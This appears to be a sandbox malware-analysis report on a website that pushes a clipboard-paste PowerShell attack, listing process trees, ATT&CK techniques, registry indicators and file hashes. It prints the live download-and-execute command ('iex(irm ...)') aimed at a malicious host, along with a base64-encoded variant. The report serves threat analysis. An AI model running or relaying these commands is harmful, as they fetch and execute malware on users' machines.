hxxps://niederrheinticket[.]de/

Analysis

user interaction
yes
max time kernel
149s
max time network
135s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
10/08/2026, 19:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://niederrheinticket.de/
Sample260810-xn2ysaaa97

Score

10^/10

defense_evasion discovery

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
https://rexgryflgleft.karburatorotzhigi.com/s/psc4?cl

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
110	5868	powershell.exe
124	5220	powershell.exe
125	5220	powershell.exe
126	4136	powershell.exe
153	4136	powershell.exe

Suspicious clipboard content. 1 IoCs

A suspicious script was copied to clipboard.

ioc	Process
powershell -c "iex(irm rexgryflgleft.karburatorotzhigi.com/s/psc4/pr?cl -UseBasicParsing)"	msedge.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2216	msedge.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134308620622763818"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-42486406-2033776002-1658862356-1000\{EA8FA751-4C84-4FC2-A5E1-223E760A8C27}	msedge.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
640	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5668	powershell.exe
5668	powershell.exe
5668	powershell.exe
5868	powershell.exe
5868	powershell.exe
5868	powershell.exe
5220	powershell.exe
5220	powershell.exe
5220	powershell.exe
4136	powershell.exe
4136	powershell.exe
4136	powershell.exe
4772	msedge.exe
4772	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	5668	powershell.exe
Token: SeDebugPrivilege	5868	powershell.exe
Token: SeDebugPrivilege	5220	powershell.exe
Token: SeDebugPrivilege	4136	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe
1124	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
640	POWERPNT.EXE
640	POWERPNT.EXE
640	POWERPNT.EXE
640	POWERPNT.EXE

Suspicious use of WriteProcessMemory 33 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 3900	1124	msedge.exe	82
PID 1124 wrote to memory of 2216	1124	msedge.exe	83
PID 1124 wrote to memory of 4972	1124	msedge.exe	84
PID 1124 wrote to memory of 4972	1124	msedge.exe	84
PID 1124 wrote to memory of 4972	1124	msedge.exe	84
PID 1124 wrote to memory of 4468	1124	msedge.exe	85
PID 1124 wrote to memory of 4468	1124	msedge.exe	85
PID 1124 wrote to memory of 544	1124	msedge.exe	87
PID 1124 wrote to memory of 544	1124	msedge.exe	87
PID 1124 wrote to memory of 3480	1124	msedge.exe	88
PID 1124 wrote to memory of 544	1124	msedge.exe	87
PID 1124 wrote to memory of 3480	1124	msedge.exe	88
PID 1124 wrote to memory of 3480	1124	msedge.exe	88
PID 1124 wrote to memory of 3804	1124	msedge.exe	89
PID 1124 wrote to memory of 3804	1124	msedge.exe	89
PID 1124 wrote to memory of 3804	1124	msedge.exe	89
PID 1124 wrote to memory of 4236	1124	msedge.exe	90
PID 1124 wrote to memory of 4236	1124	msedge.exe	90
PID 1124 wrote to memory of 4236	1124	msedge.exe	90
PID 1124 wrote to memory of 2404	1124	msedge.exe	96
PID 1124 wrote to memory of 2404	1124	msedge.exe	96
PID 1124 wrote to memory of 1064	1124	msedge.exe	95
PID 1124 wrote to memory of 1064	1124	msedge.exe	95
PID 1124 wrote to memory of 2544	1124	msedge.exe	98
PID 1124 wrote to memory of 5520	1124	msedge.exe	116
PID 1124 wrote to memory of 5528	1124	msedge.exe	117
PID 1124 wrote to memory of 5536	1124	msedge.exe	118
PID 5668 wrote to memory of 5868	5668	powershell.exe	121
PID 4276 wrote to memory of 5220	4276	cmd.exe	124
PID 5220 wrote to memory of 4136	5220	powershell.exe	125
PID 1124 wrote to memory of 1740	1124	msedge.exe	127
PID 1124 wrote to memory of 1740	1124	msedge.exe	127
PID 1124 wrote to memory of 4772	1124	msedge.exe	129

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://niederrheinticket.de/
1⤵
- Suspicious clipboard content.
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x274,0x7fff1e99c188,0x7fff1e99c194,0x7fff1e99c1a0
  2⤵
  PID:3900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1876,i,3724851052625516519,13679038964608942202,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:3
  2⤵
  - System Time Discovery
  PID:2216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1668,i,7390006733058810758,17071518103716109818,262144 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=2268 /prefetch:2
  2⤵
  PID:4972
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2400,i,18275304262451210241,3724215058505701544,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=2412 /prefetch:8
  2⤵
  PID:4468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3440,i,6569757877695503871,18375690972488690886,2097152 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=3512 /prefetch:1
  2⤵
  PID:544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3444,i,5428197891853743188,3232442702844485752,2097152 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:3480
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4204,i,4476170408298073784,14117567737859007500,2097152 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:1
  2⤵
  PID:3804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4260,i,8395893038551994688,6922486522974393715,2097152 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=4240 /prefetch:2
  2⤵
  PID:4236
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5164,i,9059997202229923778,668380372093185400,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:8
  2⤵
  PID:1064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5180,i,17714127114443147923,8453046906342364485,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:8
  2⤵
  PID:2404
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,5024526230717249924,4300560519125604105,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  PID:4304
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5836,i,5024526230717249924,4300560519125604105,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:8
  2⤵
  PID:2544
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4664,i,12708440926656625604,11964552044791099090,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=4260 /prefetch:8
  2⤵
  PID:5520
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4712,i,15147946082660279066,17173459905458756123,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:8
  2⤵
  PID:5528
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2420,i,13561076299462735683,14048048512044103381,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=4696 /prefetch:8
  2⤵
  PID:5536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4640,i,10508357524694110063,7688181826295696996,524288 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=6256 /prefetch:8
  2⤵
  PID:1740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6240,i,16752818415225562710,6509692889561597978,262144 --field-trial-handle=2284,i,14646720801287410870,9499253498575454711,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4772

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:4260

C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\root\Office16\POWERPNT.EXE"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5668
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "iex(irm rexgryflgleft.karburatorotzhigi.com/s/psc4/pr?cl -UseBasicParsing)"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5868

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4276
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -c "iex(irm rexgryflgleft.karburatorotzhigi.com/s/psc4/pr?cl -UseBasicParsing)"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -EncodedCommand WwBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AFcAcgBpAHQAZQBJAG4AdAAzADIAKAAoAEcAZQB0AC0AUABTAEQAcgBpAHYAZQApAC4ARwBlAHQAXwBQAHIAbwB2AGkAZABlAHIAKAApAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACwAMAApADsAIAAkAHUAPQAnAGgAdAB0AHAAcwA6AC8ALwByAGUAeABnAHIAeQBmAGwAZwBsAGUAZgB0AC4AawBhAHIAYgB1AHIAYQB0AG8AcgBvAHQAegBoAGkAZwBpAC4AYwBvAG0ALwBzAC8AcABzAGMANAA/AGMAbAAnADsAIABpAGUAeAAoAGkAcgBtACAAJAB1ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAA==
    3⤵
    - Badlisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4136

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 6b9837e7aa8010276cc6c6856eeb168f9adf2d4b20a71ccd3c1385ede9a2676a
MD5 fab278dde2529d6e0a2a00b8cce5e0d3
SHA1 fe9405b06fcad793a57fd166badb53c8ea321568
SHA512 e11268a98b98f20be795cf29cf3c268d0d73bb44026c26e21386e88dfceb5a437e1764bcb05a6c29e7bd82929ff99705e213eac614268c96845cdcec1a011710
TLSH
T1E361DB313275B0E4C95A7F47192819C063BF8395FA98AF5CB65C521EE92740B9B223F3
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 4f09b67f3cd537e58118f5452ece8461e4fe6705ee65ee2a25a297c3b63b0bb2
MD5 765cba8b92de06a5e3ee03ad2e048e84
SHA1 f7aac0e7083c9fc504bd693c1d2530ab32ad1193
SHA512 9bd946f03ace7132702508fe1e0072318ecad9b1f18ade2c03730a77b706954f5b7a08850763a06f99cc6ea30ab4142d02550e42fc402b2ad1fab26337c2daa2
TLSH
T1FCD02BF573445105C1455032DC000B2019540D4210EBD7025320048CB8044B5B6470C2
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 5KB
SHA256 558f8331cd8fed2f637606c7b05d64e3a0e3bd603349c54985bbc9a31b6e18bf
MD5 d30add2e3a125a746984bd31680875ce
SHA1 dcc2950a0e759902148785f1d5b272ef70e78e88
SHA512 5228bd794a36502c79e4693af24a6a17ac6aed6065c7324570ae26242b9c619e71c2d532ac74bc11b54d544535d1059969e4b0bc5ae1b7fdd43e3b5c4174d3f9
SSDEEP 48:GCMAIWDJCwUbUjGyUploBuv9hWU0SI7fZ3UDEE/T80fybSBgKi6iwps/FIyhJbVO:GCDIbIqyU79vrX/wAmqz2N1bVeh
TLSH
T1AAB1729A0EACE860DFF0303947D5C9C5BFBE884B55068B7B0B50DCB265532FD0515E88
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 a2cc14bf46fdbb42518c6ce51fa3b00646097e79326f90aeb8468a9805176843
MD5 0bee53eaa83502973f53bb087fec2f74
SHA1 7826ee2771a80569b1e581ef02c68879493f9a13
SHA512 07c4df84feca6e2c36f0f46f484fa252a9224e7aedc29027c0efe62ede114eb0d3f66d26b53119b2bad488d1544ff6a5893c8529e2b29f67e4787c565f42f276
TLSH
T13051ADF7C6E98A6DC90156F16A246E2ACE1D091543583E09D9E4EF1FA3F2071D200E9F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 94abff5e56f81e71736d61e12ed9cc8f45967b8c0cd14a64e57182b75db00583
MD5 aabf96bb37bf16bf8e8826a3a5e737d2
SHA1 8b85a78b55644db53238fa3e7ca40e58319722c7
SHA512 0a4d93ebf37a197024cac89661c35f9bd62996e3e0428c38a37bb9c991c130b4f2569ac63401e35298eb49d27845fc14a97f354d1cdf56d460162d6198accfd5
SSDEEP 192:sxZgRFyM/jK1Ml8UQzHkT/fHsUbrDIdpB/HW6+WNowPZYwwlWBdjIg5dEJ:sxZgLqgT/fHs6rcFHbDZ7PI
TLSH
T1C752E9156A38597BCCDFD209F945BF53D6F9047291901E44AAFCDA1C04E6BED220781F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 5a0a0022d80aad6c928a3d052020d453c3c61d0f17e584eb3ead6e56d7a73bb0
MD5 427cd22b957b20fbde517e5bb11a75b2
SHA1 8d3723381319be0dd8106e486909916621738b99
SHA512 df35c88f9a26c8fd572df2c0edd6a8fd52c68e909e7228fdddfb2d4d21dabe28e98ccd93c510b2b8e2041b7e7e2d7de3d2ec2f0b813af28c7e461ec3dfb87aa5
SSDEEP 192:sxZgRFyM/jK1Ml8MkT/fHsbbhDIdpT/HW6+WNoBG/Yww6OBrjIgrJ:sxZgLMT/fHs3hcrHbn/O9
TLSH
